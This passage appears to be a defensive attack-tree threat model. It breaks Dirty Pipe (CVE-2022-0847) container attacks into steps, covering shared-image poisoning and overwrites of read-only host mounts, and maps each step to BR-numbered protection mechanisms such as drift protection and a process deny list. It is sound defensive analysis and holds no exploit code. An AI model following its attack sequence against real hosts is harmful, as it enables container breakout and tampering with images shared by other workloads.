  • BR-67: Container Root User Control - This mechanism is applicable because it prevents non-init processes from running as root within a container. If the attacker gains access as a non-root user and the exploit requires root privileges within the container (and the compromised process is not PID 1), this mechanism would block the execution attempt.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because it uses NSJail sandboxing to restrict process execution based on predefined rules. If the initial access involves starting an unauthorized process, or if the exploit execution requires process behaviors disallowed by the sandbox, this mechanism could block the attempt. (Status: 3: Roadmap)
• The host system is running a Linux kernel version 5.8 or later, which is vulnerable to CVE-2022-0847 (Dirty Pipe). (Cited from: "affected systems — those running Linux kernel 5.8 or above", "CVE-2022-0847, aka “Dirty Pipe”")
• Attacker identifies a target file within the container's underlying image layers that the container user has read permissions for, but normally cannot write to due to the overlay filesystem's copy-on-write mechanism. (Cited from: "overwrite the contents of files that they can read but shouldn’t be able to write to", "modify files from container images on the host, from inside a container", "When a user inside a container modifies a file from the underlying image, the original file should be copied... The original file should remain unmodified.")
• Attacker introduces and executes the Dirty Pipe exploit code within the compromised container, targeting the identified file. (Cited from: "Using the exploit provided by Max Kellermann in his blog...", "We’ll then copy in our exploit code...", "run our exploit, attempting to add a string... to the top of the file.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of any new executable binaries or scripts not present in the original container image. If the attacker introduces the Dirty Pipe exploit code as a new file, this mechanism would block its execution.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it restricts process execution to allowed filesystem paths. If the attacker places the exploit code in a path not on the allowlist (e.g., /tmp), this mechanism would block its execution. (Status: 4: Idea)
  • BR-90: Process Exec Deny - This mechanism is applicable because it blocks process execution based on a deny list (e.g., specific names like 'dirtypipe-exploit'). If the exploit binary matches a denied pattern, its execution would be blocked. (Status: 4: Idea)
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because it uses NSJail sandboxing. If the execution of the exploit process violates the sandbox rules, it could be blocked. (Status: 3: Roadmap)
• The exploit successfully overwrites the content of the target file directly within the shared, read-only image layer on the host filesystem, bypassing the standard copy-on-write behavior. (Cited from: "vulnerability that allows users on a Linux system to overwrite the contents of files that they can read but shouldn’t be able to write to.", "it was possible to modify files from container images on the host, from inside a container")
  • BR-25: Read-Only File Protection - This mechanism is directly applicable because it specifically detects and prevents unauthorized write attempts via pipes to files marked as read-only, which is the core technique used by the Dirty Pipe exploit.
  • BR-46: DirtyCred Protection - This mechanism is applicable because it monitors file permission hooks and deeper kernel paths to detect unauthorized write attempts to read-only files, similar to the conditions exploited by Dirty Pipe, potentially providing another layer of detection/prevention.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the target file resides within a directory configured as critical by policy. It blocks any write attempts (regardless of process trust level) to files within these directories.
• The modification instantly affects other running containers on the same host that are based on the same image and are still referencing the original, unmodified file from the shared layer. (Cited from: "if you had a host with 10 nginx containers using a shared image, and the attacker modified the nginx.conf file in one, it would instantly change the files in the others, too, as long as they were still using the file from the underlying image.")
• New containers subsequently started on the host using the same poisoned base image will also contain the attacker-modified file. (Cited from: "poison an image on a host so that new containers would receive modified files.", "Now we go back to the host and start a new container, based on the same image... And we can clearly see our modified file")

​

F2: An attacker exploits CVE-2022-0847 (Dirty Pipe) from within a container to modify files on the host system that are mounted into the container as read-only volumes.

• Attacker gains initial access to execute code within a single container running on the target host. (Cited from: "To exploit this issue, attackers must have access to a single container on the host.")
  • BR-47: Container Capability Control - This mechanism is applicable because it allows restricting capabilities granted to containers. If the initial access vector or subsequent exploit execution relies on specific Linux capabilities that are removed by this policy, the attack could be hindered or blocked.
  • BR-67: Container Root User Control - This mechanism is applicable because it prevents non-init processes from running as root within a container. If the attacker gains access as a non-root user and the exploit requires root privileges within the container (and the compromised process is not PID 1), this mechanism would block the execution attempt.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because it uses NSJail sandboxing to restrict process execution based on predefined rules. If the initial access involves starting an unauthorized process, or if the exploit execution requires process behaviors disallowed by the sandbox, this mechanism could block the attempt. (Status: 3: Roadmap)
• The host system is running a Linux kernel version 5.8 or later, vulnerable to CVE-2022-0847. (Cited from: "affected systems — those running Linux kernel 5.8 or above", "CVE-2022-0847, aka “Dirty Pipe”")
• A volume or bind mount exists, mounting a part of the host's filesystem into the container with read-only permissions. (Cited from: "Another scenario for this exploit is one in which volumes are mounted from the host as read only")
  • BR-66: Host FS Mount Control - This mechanism is applicable because it enforces an allow list for host file system mounts within containers. If the specific host path being mounted read-only is not on the configured allow list, this mechanism would prevent the mount from being established in the first place. (Status: 3: Roadmap)
• Attacker identifies a target file within the read-only mounted volume for which the container user has read permissions. (Cited from: "overwrite the contents of files that they can read", "attackers can use this exploit to override that restriction")
• Attacker executes the Dirty Pipe exploit code within the compromised container, targeting the file within the read-only mount. (Cited from: "attackers can use this exploit")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of any new executable binaries or scripts not present in the original container image. If the attacker introduces the Dirty Pipe exploit code as a new file within the container, this mechanism would block its execution.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it restricts process execution to allowed filesystem paths within the container. If the attacker places the exploit code in a path not on the allowlist (e.g., /tmp), this mechanism would block its execution. (Status: 4: Idea)
  • BR-90: Process Exec Deny - This mechanism is applicable because it blocks process execution based on a deny list (e.g., specific names like 'dirtypipe-exploit'). If the exploit binary matches a denied pattern, its execution would be blocked. (Status: 4: Idea)
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because it uses NSJail sandboxing. If the execution of the exploit process violates the sandbox rules, it could be blocked. (Status: 3: Roadmap)
• The exploit successfully overwrites the content of the target file on the host filesystem by leveraging the vulnerability through the read-only mount point, effectively bypassing the mount restriction. (Cited from: "overwrite the contents of files that they can read but shouldn’t be able to write to.", "override that restriction")
  • BR-25: Read-Only File Protection - This mechanism is directly applicable because it detects and prevents unauthorized write attempts via pipes to files marked as read-only, even when accessed through a mount point from within a container.
  • BR-46: DirtyCred Protection - This mechanism is applicable because it monitors for unauthorized write attempts to read-only files, which is the method used by Dirty Pipe, providing potential detection/prevention.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the target file on the host resides within a directory configured as critical by policy. It blocks any write attempts to files within these directories from any process, including those originating from a container.
  • BR-78: Host Setuid File Protection - This mechanism is applicable if the target file on the host filesystem is a setuid file owned by the host root. It specifically prevents containers from writing to such files.
• The file modification on the host persists and may affect the host system or other entities relying on the original content of that file.